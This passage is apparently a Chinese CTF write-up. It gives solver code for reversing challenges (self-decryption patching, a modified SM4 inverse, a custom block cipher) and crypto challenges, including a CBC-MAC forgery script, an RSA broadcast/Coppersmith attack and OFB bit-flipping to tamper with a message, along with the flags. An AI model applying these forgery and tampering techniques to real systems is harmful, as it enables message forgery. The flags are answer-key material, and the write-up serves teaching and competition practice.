0x62624E58, 0xF3F34F11, 0xEEEEAA88, 0x7F7FABC1, 0xC0C0E346, 0x0F0FFB81, 0x9C9C71B3, 0x18186BE6, 0x7272DB3B, 0x6363BFD1, 0x5A5A6678, 0xACACA716, 0x3737D3A1, 0xB4B4CCF0, 0xA1A1D7EC, 0x1B1B1114, 0xE8E85E05, 0x2E2E49CE, 0x8A8A105D, 0x89896AAF, 0x4545089A, 0x4B4B0292, 0xD2D2FD5E, 0x79795F4C, 0x9090F0C0, 0x02028B7B, 0x0606F48D, 0x03037AF2, 0x83831F51, 0x1E1E9F6B, 0x9999FFCC, 0xBBBB3771, 0xC7C7E642, 0x1313EF91, 0x9797F5C4, 0x3333AC57, 0x808065A3, 0xAFAFDDE4, 0x9F9F0B41, 0x6B6B4154, 0x0101F189, 0x8282EED8, 0x8B8BE1D4, 0x12121E18, 0x353558DA, 0xF1F1C46A, 0x0E0E0A08, 0x1A1AE09D, 0xA5A5A81A, 0x7B7BD437, 0x404086E5, 0xAEAE2C6D, 0xF0F035E3, 0xC6C617CB, 0x55559DF9, 0xE0E0A080, 0xC1C112CF, 0x95957EBF, 0x15151B1C, 0x5151E20F, 0xAAAA539B, 0xA8A8D8E0, 0x8E8E6FAB, 0x9696044D, 0xD5D5F85A, 0xFCFCB490, 0x6D6DB5D9, 0xDFDF8DA4, 0xDEDE7C2D, 0x3C3C57D6, 0x9A9A853E, 0xA7A72361, 0x09090F0C, 0xD3D30CD7, 0x272746C2, 0x57571682, 0x2525CDB9, 0x17179067, 0x666631AE, 0x48487860, 0xB8B84D83, 0x3E3EDCAD, 0x0C0C8173, 0xBABAC6F8, 0xB1B1428F, 0xB9B9BC0A, 0x54546C70, 0x42420D9E, 0x2121B24F, 0x8181942A, 0xE1E15109, 0x84841A55, 0xF4F44A15, 0xB7B7B602, 0xE9E9AF8C, 0xB3B3C9F4, 0x70705040, 0xEBEB24F7, 0xD9D97929, 0xF5F5BB9C, 0x93938A32, 0x5858ED03, 0xEFEF5B01, 0x2D2D333C, 0x474783E1, 0xF6F6C16E, 0xFFFFCE62, 0x6464BAD5, 0x0A0A75FE, 0x7676A4CD, 0xCECEE94E, 0x88889B26, 0x1C1C1410, 0x46467268, 0x4C4C0796, 0xFBFBB194, 0x878760A7, 0x4F4F7D64, 0x3030D6A5, 0xBEBEB90E, 0x74742FB6, 0x2F2FB847, 0x5E5E198E, 0x3F3F2D24, 0xC9C9EC4A, 0xD1D187AC, 0xD8D888A0, 0xECEC21F3, 0xE6E6540D, 0x2828BD43, 0x6E6ECF2B, 0x1D1DE599, 0x1414EA95, 0x1F1F6EE2, 0x2222C8BD, 0xA9A92969, 0x68683BA6, 0xF8F8CB66, 0xC5C56D39, 0x3434A953, 0xC3C399B4, 0x202043C6, 0xB0B0B306, 0xF2F2BE98, 0xC8C81DC3, 0x4D4DF61F, 0xDADA03DB, 0x7171A1C9, 0xE5E52EFF, 0xD4D409D3, 0xC4C49CB0, 0x9E9EFAC8, 0x6F6F3EA2, 0x4343FC17, 0x8585EBDC, 0xA0A02665, 0x111164EA, 0xE3C046E3, 0x6087A760, 0xE48CD0E4, 0x2F74B62F, 0x50704050, 0xFF99CCFF, 0x04964D04, 0xD939A9D9, 0x82D6A882, 0x5835DA58, 0x5A7E485A, 0xB06ADDB0, 0x6B18E66B, 0x975BF197, 0xA171C9A1, 0xCF6E2BCF, 0xEA1495EA, 0xB7264BB7, 0x719CB371, 0xED5803ED, 0xE9CE4EE9, 0xF64D1FF6, 0xCEFF62CE, 0x30F7E730, 0x9B88269B, 0x3166AE31, 0x207DBA20, 0x68C23D68, 0x362A3836, 0x91862E91, 0x6DC5396D, 0x6580A365, 0xC56023C5, 0x925CF592, 0xF4068DF4, 0x635D7C63, 0xB82F47B8, 0x38B27D38, 0x8E057F8E, 0x8640E586, 0xA8A51AA8, 0x18CFC718, 0xB1FB94B1, 0xA93453A9, 0x28382028, 0xD2A6E8D2, 0xC22CB5C2, 0xDAE372DA, 0xAE78C5AE, 0xDB723BDB, 0xB56DD9B5, 0xEE82D8EE, 0x3AF9EF3A, 0x5F794C5F, 0xA2AB12A2, 0x42B18F42, 0x32BC7532, 0x859A3E85, 0xF7DC56F7, 0x2EE5FF2E, 0x55774455, 0x79D92979, 0x87D1AC87, 0xA0E080A0, 0x93CDBC93, 0xBD2843BD, 0x5EE8055E, 0x96CAB896, 0x0A0E080A, 0xCBF866CB, 0x8347E183, 0xFB0F81FB, 0x2D3F242D, 0x416B5441, 0xF94413F9, 0xF34A1BF3, 0x6A89AF6A, 0x5BEF015B, 0x7D4F647D, 0xF090C0F0, 0x5CA3975C, 0xC9B3F4C9, 0x16578216, 0x27312C27, 0x4FF3114F, 0x37BB7137, 0xFDD25EFD, 0x7F04F67F, 0x665A7866, 0xC822BDC8, 0xBF63D1BF, 0xD17C33D1, 0x0E98450E, 0x62CC3562, 0x141C1014, 0x6116EE61, 0xAC3357AC, 0x26A06526, 0xE51D99E5, 0x51E10951, 0x3C24303C, 0x0CD3D70C, 0x17C6CB17, 0x40FA1D40, 0x6C54706C, 0x2A73B22A, 0xD7A1ECD7, 0x67CB3167, 0x95106395, 0xBA64D5BA, 0x48BF8748, 0x4627C246, 0x7A03F27A, 0x03DADB03, 0x700DFA70, 0xF8D55AF8, 0x7B92BB7B, 0x840B7784, 0x573CD657, 0x77416C77, 0x108A5D10, 0xD8A8E0D8, 0x4B655C4B, 0x523BD252, 0xD47B37D4, 0xEF1391EF, 0xA33A5BA3, 0x3B68A63B, 0xE18BD4E1, 0x39233439, 0x45FD1945, 0x24EBF724, 0xAAEE88AA, 0x0F090C0F, 0xBCB90ABC, 0xD5EA7ED5, 0x6411EA64, 0xC3BDFCC3, 0x59A49359, 0x1B151C1B, 0xDDAFE4DD, 0x2CAE6D2C, 0x9F1E6B9F, 0x12C1CF12, 0x01914901, 0x05070405, 0x3FFEEB3F, 0x72466872, 0xB6B702B6, 0x9E8F229E, 0x8A93328A, 0x257ABE25, 0x749BB774, 0x09D4D309, 0xE7560BE7, 0x4DB8834D, 0x88D8A088, 0x810C7381, 0x024B9202, 0xC72BB1C7, 0xECC94AEC, 0xF597C4F5, 0x90176790, 0x332D3C33, 0xDC3EADDC, 0x492ECE49, 0x1C598A1C, 0x5D32DE5D, 0xCCB4F0CC, 0x54E60D54, 0x158D5915, 0xC1F66EC1, 0x08459A08, 0x7CDE2D7C, 0x99C3B499, 0xCD25B9CD, 0xF10189F1, 0x1E12181E, 0xFA9EC8FA, 0x53AA9B53, 0x94812A94, 0x8949E989, 0x1F83511F, 0x8DDFA48D, 0xF2DB52F2, 0xB3B006B3, 0xDFE476DF, 0xC06727C0, 0xD630A5D6, 0x9852FD98, 0x13508613, 0xBBF59CBB, 0x2BE2FB2B, 0x22362822, 0x3E6FA23E, 0xE85F07E8, 0xE01A9DE0, 0x3461AA34, 0x9D55F99D, 0x111B1411, 0x3DB5793D, 0x78486078, 0x809D3A80, 0x4320C643, 0x195E8E19, 0xA63D5FA6, 0x00000000, 0xE6C742E6, 0x76D02576, 0x6F8EAB6F, 0xADA21EAD, 0x074C9607, 0x8F94368F, 0x35F0E335, 0xC6BAF8C6, 0x47B68B47, 0xDE753FDE, 0xAB7FC1AB, 0xD0ED7AD0, 0x0B9F410B, 0xD337A1D3, 0xE2510FE2, 0x4E62584E, 0x1DC8C31D, 0x4AF4154A, 0x446C5044, 0xC4F16AC4, 0x9A196F9A, 0x06DDDF06, 0xB2214FB2, 0xA476CDA4, 0x8B027B8B, 0xA7AC16A7, 0xB4FC90B4, 0xFE0885FE, 0xAFE98CAF, 0x69537469, 0xEB85DCEB, 0x73D72173, 0xB9BE0EB9, 0xCA692FCA, 0xA5E784A5, 0x9CC4B09C, 0x21ECF321, 0x23A76123, 0x0D429E0D, 0x7E95BF7E, 0x29A96929, 0x750AFE75, 0x6E1FE26E, 0x56AD9F56, 0x4C29CA4C, 0x8C4EED8C, 0xBEF298BE, 0x1A84551A, 0xFC4317FC, 0x4EED4E8C, 0x196F199A, 0xB883B84D, 0x7ABE7A25, 0x441344F9, 0x8BD48BE1, 0x7DBA7D20, 0xD1ACD187, 0x52FD5298, 0xE476E4DF, 0xDADBDA03, 0x5A785A66, 0xEF01EF5B, 0xA397A35C, 0xA51AA5A8, 0x068D06F4, 0x87A78760, 0x4B924B02, 0x07040705, 0xE372E3DA, 0x0F810FFB, 0xC1CFC112, 0xA969A929, 0x5BF15B97, 0x264B26B7, 0x459A4508, 0x812A8194, 0xEE88EEAA, 0x9436948F, 0xA6E8A6D2, 0x95BF957E, 0xF415F44A, 0x3F243F2D, 0xDC56DCF7, 0xF866F8CB, 0x9845980E, 0xC539C56D, 0x018901F1, 0xDFA4DF8D, 0xB006B0B3, 0x97C497F5, 0x0E080E0A, 0x8EAB8E6F, 0x6C506C44, 0x1FE21F6E, 0xC046C0E3, 0xECF3EC21, 0x6258624E, 0x55F9559D, 0x1E6B1E9F, 0xF0E3F035, 0xDE2DDE7C, 0xD929D979, 0x6FA26F3E, 0xA493A459, 0x7B377BD4, 0x32DE325D, 0x9D3A9D80, 0xF16AF1C4, 0x18E6186B, 0xB90AB9BC, 0x3D5F3DA6, 0x151C151B, 0x335733AC, 0xDB52DBF2, 0x0AFE0A75, 0x82D882EE, 0x1A9D1AE0, 0xF298F2BE, 0xAB12ABA2, 0xCFC7CF18, 0x89AF896A, 0xD3D7D30C, 0xD4D3D409, 0xFB94FBB1, 0x692F69CA, 0x027B028B, 0x74B6742F, 0xE784E7A5, 0xB702B7B6, 0x6E2B6ECF, 0x3CD63C57, 0x47E14783, 0x7FC17FAB, 0x00000000, 0x9BB79B74, 0x602360C5, 0xCB31CB67, 0x04F6047F, 0x61AA6134, 0xD025D076, 0xCC35CC62, 0x1218121E, 0x80A38065, 0x655C654B, 0x8F228F9E, 0xF59CF5BB, 0xC4B0C49C, 0x6DD96DB5, 0x510F51E2, 0x090C090F, 0xFC90FCB4, 0x76CD76A4, 0x11EA1164, 0xAD9FAD56, 0x91499101, 0x90C090F0, 0x9EC89EFA, 0x139113EF, 0xCAB8CA96, 0x36283622, 0x2CB52CC2, 0x71C971A1, 0x5D7C5D63, 0x429E420D, 0xE080E0A0, 0xE5FFE52E, 0x284328BD, 0x312C3127, 0xAC16ACA7, 0x723B72DB, 0xFF62FFCE, 0xB68BB647, 0x40E54086, 0xC94AC9EC, 0xD55AD5F8, 0x560B56E7, 0x4C964C07, 0x68A6683B, 0xCE4ECEE9, 0x5F075FE8, 0x7E487E5A, 0x8A5D8A10, 0xD721D773, 0x4D1F4DF6, 0x30A530D6, 0x25B925CD, 0xCDBCCD93, 0xE2FBE22B, 0xB18FB142, 0x8826889B, 0x2D3C2D33, 0x3EAD3EDC, 0x77447755, 0x73B2732A, 0x5E8E5E19, 0x5CF55C92, 0xBAF8BAC6, 0x53745369, 0x0DFA0D70, 0xEBF7EB24, 0xAA9BAA53, 0x1D991DE5, 0x672767C0, 0x964D9604, 0xBB71BB37, 0x8455841A, 0x78C578AE, 0x214F21B2, 0x6ADD6AB0, 0xD8A0D888, 0xB27DB238, 0xC6CBC617, 0x149514EA, 0x9CB39C71, 0x2BB12BC7, 0xA8E0A8D8, 0xBDFCBDC3, 0x0B770B84, 0x3A5B3AA3, 0xA761A723, 0x99CC99FF, 0x9A3E9A85, 0xA21EA2AD, 0x46684672, 0xFD19FD45, 0x580358ED, 0x8CD08CE4, 0x0C730C81, 0xFA1DFA40, 0x48604878, 0xEA7EEAD5, 0xE98CE9AF, 0x2430243C, 0xA1ECA1D7, 0x057F058E, 0xB4F0B4CC, 0xB3F4B3C9, 0x4F644F7D, 0x6B546B41, 0xE60DE654, 0xBF87BF48, 0x22BD22C8, 0xF311F34F, 0x9332938A, 0x49E94989, 0x416C4177, 0x50865013, 0x92BB927B, 0x088508FE, 0x23342339, 0x598A591C, 0xAFE4AFDD, 0x64D564BA, 0x1C101C14, 0xC3B4C399, 0xE109E151, 0x85DC85EB, 0x753F75DE, 0x7C337CD1, 0x17671790, 0xC742C7E6, 0x345334A9, 0xA065A026, 0x8D598D15, 0xE805E85E, 0xD25ED2FD, 0x66AE6631, 0x2A382A36, 0x4A1B4AF3, 0x8351831F, 0x35DA3558, 0x27C22746, 0xF66EF6C1, 0x20C62043, 0x431743FC, 0xAE6DAE2C, 0x9F419F0B, 0xB579B53D, 0x03F2037A, 0x63D163BF, 0xC8C3C81D, 0xED7AEDD0, 0xFEEBFE3F, 0xD6A8D682, 0x39A939D9, 0x16EE1661, 0x5470546C, 0x3BD23B52, 0x862E8691, 0x1B141B11, 0xBC75BC32, 0xC23DC268, 0xF7E7F730, 0x2F472FB8, 0x70407050, 0xBE0EBEB9, 0x794C795F, 0x38203828, 0x10631095, 0x37A137D3, 0x29CA294C, 0xF9EFF93A, 0xDDDFDD06, 0x2ECE2E49, 0x57825716, 0x7D417402, 0x7E721D1F, 0x8C219648, 0x49DCCA67, 0xA5705A22, 0x62D3DC8F, 0x69189C05, 0xBA7B287A, 0x946305E0, 0x4221C46A, 0xA5B54743, 0x83BE0F59, 0x0A12A2AA, 0x4C4C39E9, 0x8ECECDA6, 0x61F3F52C, 0x97E2077A, 0x2E99A95E, 0xEFE18498, 0x1CD31DA5, 0x456AA5B9, 0x36023F0B, 0xC4ED11CD, 0x02DAC41D, 0xE7CC1901, 0xED14F8A1, 0x94E9F986, 0x2BE2879F, 0x6565BA62, 0x2629D026, 0x8034B8CC, 0x212CD5F4, 0xCDD8BD39, 0x90042ED8, 0x3725D79C, 0x896C0C43, 0x7BE43031, 0xB3546C0D, 0xFD73D395, 0xC136D3B2]
overflow_byte = lambda x : x & 0xff
overflow_word = lambda x : x & 0xffff
overflow_dword = lambda x : x & 0xffffffff
overflow_qword = lambda x : x & 0xffffffffffffffff
HIBYTE = lambda x : (x >> 24) & 0xff
BYTE1 = lambda x : (x >> 8) & 0xff
BYTE2 = lambda x : (x >> 16) & 0xff
BYTE = lambda x : x & 0xff
WORD = lambda x : x & 0xffff
def ror4(data, bits):
for i in range(bits):
if data & 1:
data >>= 1
data |= 0x80000000
else:
data >>= 1
return overflow_dword(data)
def rol4(data, bits):
for i in range(bits):
if data & 0x80000000:
data <<= 1
data |= 1
else:
data <<= 1
return overflow_dword(data)
class Ex_Base64(object):
"""A new table for base64"""
def __init__(self, new_table):
super(Ex_Base64, self).__init__()
self.old_table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
self.new_table = list(new_table) + ['=']
def Ex_base64_decode(self, cipher):
new_cipher = ""
for i in range(len(cipher)):
tmp_index = self.new_table.index(cipher[i])
new_cipher += self.old_table[tmp_index]
return new_cipher.decode("base64")
def Ex_base64_encode(self, plain):
new_cipher = ""
tmp_cipher = plain.encode("base64").strip()
for i in range(len(tmp_cipher)):
tmp_index = self.old_table.index(tmp_cipher[i])
new_cipher += self.new_table[tmp_index]
return new_cipher
def encrypt_test(data, big_box=big_box):
assert len(data) == 16
arr = [0] * 6
arr[0] = overflow_dword(struct.unpack('B', data[3])[0] << 24 | struct.unpack('B', data[2])[0] << 16 | struct.unpack('H', data[0:2])[0]) ^ big_box[1024]
arr[1] = overflow_dword(struct.unpack('B', data[7])[0] << 24 | struct.unpack('B', data[6])[0] << 16 | struct.unpack('H', data[4:6])[0]) ^ big_box[1025]
arr[2] = overflow_dword(struct.unpack('B', data[11])[0] << 24 | struct.unpack('B', data[10])[0] << 16 | struct.unpack('H', data[8:10])[0]) ^ big_box[1026]
arr[3] = overflow_dword(struct.unpack('B', data[15])[0] << 24 | struct.unpack('B', data[14])[0] << 16 | struct.unpack('H', data[12:14])[0]) ^ big_box[1027]
# print map(hex, arr)
for i in range(16):
if not i % 2:
arr[4] = big_box[HIBYTE(arr[0])] ^ big_box[BYTE2(arr[0]) + 0x100] ^ big_box[BYTE1(arr[0]) + 0x200] ^ big_box[BYTE(arr[0]) + 0x300]
arr[5] = big_box[HIBYTE(arr[1]) + 0x100] ^ big_box[BYTE2(arr[1]) + 0x200] ^ big_box[BYTE1(arr[1]) + 0x300] ^ big_box[BYTE(arr[1])]
# print map(hex, arr)
arr[2] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[2], 1)
arr[3] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[3], 1)
else:
arr[4] = big_box[HIBYTE(arr[2])] ^ big_box[BYTE2(arr[2]) + 0x100] ^ big_box[BYTE1(arr[2]) + 0x200] ^ big_box[BYTE(arr[2]) + 0x300]
arr[5] = big_box[HIBYTE(arr[3]) + 0x100] ^ big_box[BYTE2(arr[3]) + 0x200] ^ big_box[BYTE1(arr[3]) + 0x300] ^ big_box[BYTE(arr[3])]
# print map(hex, arr)
arr[0] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[0], 1)
arr[1] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[1], 1)
# print "%d: "%(i) + str(map(hex, arr))
# print map(hex, arr)
arr[2] ^= big_box[1028]
arr[3] ^= big_box[1029]
arr[0] ^= big_box[1030]
arr[1] ^= big_box[1031]
# print map(hex, arr)
return chr(BYTE(arr[2])) + struct.pack('H', WORD(arr[2] >> 8)) + chr(HIBYTE(arr[2])) + struct.pack('I', arr[3]) + struct.pack('I', arr[0]) + struct.pack('H', WORD(arr[1])) + chr(BYTE2(arr[1])) + chr(HIBYTE(arr[1]))
def encrypt_ojbk(data):
assert len(data) == 32
check_in = lambda x: x in "abcdef0123456789"
for i in xrange(len(data)):
if not check_in(data[i]):
os.exit(0)
first_list = [0] * 16
for i in xrange(0, len(data), 2):
tmp_index = int(data[i], 16)
tmp_var = int(data[i + 1], 16)
if first_list[tmp_index]:
print "input error"
os.exit(1)
else:
first_list[tmp_index] = tmp_var
j = 0
flag1 = 0
flag2 = 0
second_list = [0] * 24
for x in xrange(24):
if x % 6 == 0:
second_list[x] = first_list[((-1 % 16) + flag1 * 4) % 16]
flag1 += 1
elif x % 6 == 5:
second_list[x] = first_list[((4 % 16) + flag2 * 4) % 16]
flag2 += 1
else:
second_list[x] = first_list[j]
j += 1
concat_byte = lambda x, y: x << 4 | y
third_bytes = ''
for x in xrange(0, len(second_list), 2):
third_bytes += chr(concat_byte(second_list[x], second_list[x + 1]))
tmp_s = "".join([chr(i) for i in range(150,214)])
exbase = Ex_Base64(tmp_s)
fourth_bytes = exbase.Ex_base64_encode(third_bytes)
return encrypt_test(fourth_bytes)
if __name__ == '__main__':
print encrypt_ojbk("afb1c2d3e4f5061728394a5b6c7d8e9f") == "".join(map(chr, [0xea, 0x6f, 0x69, 0xba, 0x79, 0xe3, 0xa9, 0x01, 0x4e, 0x2d, 0xf8, 0xc2, 0xb3, 0x2e, 0x29, 0x0a]))
出题人:0xE4s0n 解题人数:21 最终分数:500
首先在程序开头是一个自解密
找到程序的.SCTF段进行解密
这里有一个SEH异常化处理
点击下面的xerf跳到正常执行流程
用ida-python解密
addstr = 0x404000 addend = 0x405000 key = "sycloversyclover" j = 0 for i in range(addstr,addend,1): data = (~(Byte(i) ^ ord(key[j%len(key)]))&0xff) PatchByte(i,data) j += 1 print ("patched")
这里是对最后比较的密文进行了操作(ps.顺便说一下如果没过反调试的话该函数不会执行,即使输入正确flag也不会提示正确)
解出后就比较简单了
程序将输入的字符串进行了AES_CBC_128_PKCS7Padding加密
key为sycloversyclover偏移sctfsctfsctfsctf
在线解密即可解出flag
sctf{Ae3_C8c_I28_pKcs79ad4}
出题人:n0n4me 解题人数:20 最终分数:512
题目是个elf文件,三段check。
第一段是个三维5_5_5的正方体迷宫(出了非预期,我谢罪),三维的迷宫路径为ddwwxxssxaxwwaasasyywwdd;
第二段base64解密,结果与sctf_9102进行比较,使用在线工具得:c2N0Zl85MTAy。
第三段是魔改的sm4,直接逆的难度也并不大,回溯求解可得出flag,也可以在网上找解sm4的脚本,改一些参数就行;当然也可以直接将最后比较的内容输入进程序解出第三段:fl4g_is_s0_ug1y!。
flag:sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}
#include <stdio.h>
#include <stdlib.h>
#define ror(x,n) ((x<<(32 - n))|(x>>n))
#define rol(x,n) ((x>>(32 - n))|(x<<n))
unsigned int fun2(unsigned int a1)
{
int table[288]={0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6,
0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76,
0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86,
0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A,
0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3,
0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA,
0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73,
0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB,
0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E,
0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21,
0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52,
0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF,
0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE,
0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34,
0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29,
0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45,
0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C,
0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F,
0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1,
0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12,
0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96,
0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE,
0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48, 0xC6, 0xBA, 0xB1, 0xA3,
0x50, 0x33, 0xAA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0xDC, 0x22,
0x70, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned int v1,v2;
v1 = (table[a1&0xff]) | (table[(a1>>8)&0xff]<<8) | (table[(a1>>16)&0xff]<<16) |(table[(a1>>24)&0xff]<<24);
v2=ror(v1,2)^rol(v1,8)^rol(v1,12)^ror(v1,6);
return v2;
}
unsigned int fun1(unsigned int a1,unsigned int a2,unsigned int a3,unsigned int a4)
{
return a1^fun2(a4^a3^a2);
}
int main()
{
unsigned int str[4]={0xbe040680,0xc5af7647,0x9fcc401f,0xd8bf92ef};
unsigned int cipher[30];
cipher[26]=str[0];
cipher[27]=str[1];
cipher[28]=str[2];
cipher[29]=str[3];
int flag[24];
int i,j=0;
for(i=25;i>=0;i--)
{
cipher[i]=fun1(cipher[i+4],cipher[i+3],cipher[i+2],cipher[i+1]);
}
printf("0x%x,0x%x,0x%x,0x%x\n",cipher[0],cipher[1],cipher[2],cipher[3]);
j=0;
for(i=0;i<16;i +=4)
{
flag[i]=(cipher[j])&0xff;
flag[i+1]=(cipher[j]>>8)&0xff;
flag[i+2]=(cipher[j]>>16)&0xff;
flag[i+3]=(cipher[j]>>24)&0xff;
j++;
}
for(i=0;i<16;i++)
{
printf("%c",flag[i]);
}
}
出题人:r1ngs 解题人数:49 最终分数:294
from Crypto.Util.strxor import strxor
def pad(msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
raw = pad('see you at three o\'clock tomorrow')
raw_len = len(raw)
target = 'please send me your flag'
target_len = len(target)
target = pad(target)
res = chr(0)*16
for i in range(len(raw)/16):
res = strxor(raw[i*16:(i+1)*16], res)
unpad_char = strxor(strxor(target[15],res[-1]), chr(raw_len-target_len))
target = target[:-1]+unpad_char
extra = strxor(strxor(target[:16], target[16:32]), res)
msg = target+extra
print msg.encode('hex')
出题人:r1ngs 解题人数:17 最终分数:555
from binascii import *
a = [
0xfec659e2deb0cd94061a952132d030600a44df8348a5886e13afda8bf8e0fa992bb2916b43a90799ca65b95f4890c4edf31aee13e14a13150fc0f3ca12a19f91L,
0xb5dfd083ffe7da9c7ef1d9a263992cb5bcafadd3305aa1617fcab9f0691e5b1fb3d380bac82865199816e42657ce5d63f9ca374d7635f6108e51230c6d01877bL,
0xfd1ff488363c98c927bde8b610d95725b81326edff5d076b0c6907d03e328600fa4a92e2dfb003fe102139a3568ad0ede64be0cb911a9a60f41b60108b21fe13L
]
b = [
0xc380d1ac47967aa32c52b3a140b52bb382f0bed68d179ca230fd4c497b89aaf5bede8f8280d6645166b2f40941ca5d29ba6b3474eabaebe541d01b659620b955L,
0x901675c475998145cf972a881a78e139165b21727c54aa4747febfb8b0e577d50788122b57d3f988bf6a48b7e59988dd86730224c993b14f0cd863285ede8c59L,
0xa55434e724c3be8855fc464a1016b40595e7b58a6ca70408538622ad7eb39f398886733f3f026301008952fca8da847a34c94ed4a06a5cbb46c1b14aad7fb8f7L
]
n = [
0xad31644e44364c011f386f00d83dd7a7df26673e7bc37ce01bd5c6218839aa0da4954641b33bcf5f7a0107b8e10a40f3c7bcc232da36b862b763de1021f88ba64287ce66c5f916301ef44003ba6f53e390a55bb7404bba6ffc4a9421de705c9e3dfbf73433f333e5b70e607dbdc590b67e57c51f7b8f19e33d783f6b7371b0afL,
0xbd718bcc6784c84e04847df42dc3adea7767e2f6587023a7b31f62018270f28d5fe0d0fbf3e9a496cdcfc674de3d6800ffbbe1fb4c3eb9e9baf148c35e9f50b01ef81590450efb327d6fe32a5c36919ae49aa592bbabfebb4a4befc60e2145aed586c447dca7dec1a50a5dba83fabe3f00d952d3b5540aa9893a75cd8d38c82fL,
0x817ee26841a6dfea6eae0e69754eedc671c1974de76246f69bd733e1f8c8a10703c1e0d67fa7b03585b2f8b863148df315b8bc87a68080f4ac452c042f5f1f245e79d3200ff2c374af3ed925e97619c4e38bbbef470748695c6b3635f0d63cb6b96710e63e5ae7a33be6227137419cc69ff11f46c2df0d28b42b74cd9e301b71L
]
c = [
0x595a5b866175eeb78233d848458f8b2c57e384721da52754cb0b68d5df221d4af53542ec9beb63b3529762c47c83648c04c450b460a7997d340117af7e676c903050a73227828a8ff57baa3d13a6d1a88cc1b5b611c874b8ce328524fad3c5474df30be40ab702f02b0b84fcea804c2066d73faca9a73bf2aa270cd380810febL,
0x6a1c685ffd8b73389af18461439e72a243ab8d220100f6eceeb01f1c176f1a390f3aa95cc456146dd3434199bb94dc6d912912af51fe230efe6aa11115ac1e3f2688344a689e3f5a4c18324f0f21152a2532a671adfa375f0ba04fae5dd134b11406115496dff11d09fe141a45c202537e1335eec501f36c659113080ae7f9f3L,
0x356f300471bf2b3cbdc61fb2f3d4ddb08cc52b8e770f8b9fc695bc106e6a8b7f36e377c8bf992053cb2528b0fcd7adc3c7bc23f0ea5826ba5a387bb379c1668521ce5870586435ec5f913cf1c528165c8d840cc0845a08f5940c03d12e126450b767950cd60138a55fd7e67ef89f497d4bbe6aa83d5b11cec7880e82a3f5775fL
]
e = 3
Ni = []
for i in range(e):
Ni.append(prod(n)/n[i])
T = []
for i in range(e):
ti = Ni[i]*inverse_mod(Ni[i], n[i])
T.append(ti)
G.<x> = PolynomialRing(Zmod(prod(n)))
g_i = []
for i in range(e):
g_i.append((T[i]*((a[i]*x+b[i])^e-c[i])))
g = sum(g_i)
g = g.monic()
print unhexlify(hex(int(g.small_roots()[0]))[2:].rstrip('L'))
得到m:
I will send you the ticket tomorrow afternoon
接着再用OFB模式下的字节反转就能篡改消息了,具体可看:https://xz.aliyun.com/t/4552
from Crypto.Util.strxor import strxor
raw = '2df8eb51146a1a1c4193ff638cb259dda08188c0d1731b37d2c519df6e77470f9a99c359b51d8afc8175126c3cab2ef1'
raw = raw.decode('hex')
plain = 'I will send you the ticket tomorrow afternoon'
target = 'I will send you the ticket tomorrow morning'
def pad(msg):
pad_length = 16 - len(msg) % 16
return msg + chr(pad_length) * pad_length
plain = pad(plain)
target = pad(target)
print plain, target
new = raw[:-12]+strxor(strxor(raw[-12:], 'afternoon'+chr(3)*3), 'morning'+chr(5)*5)
print new.encode('hex')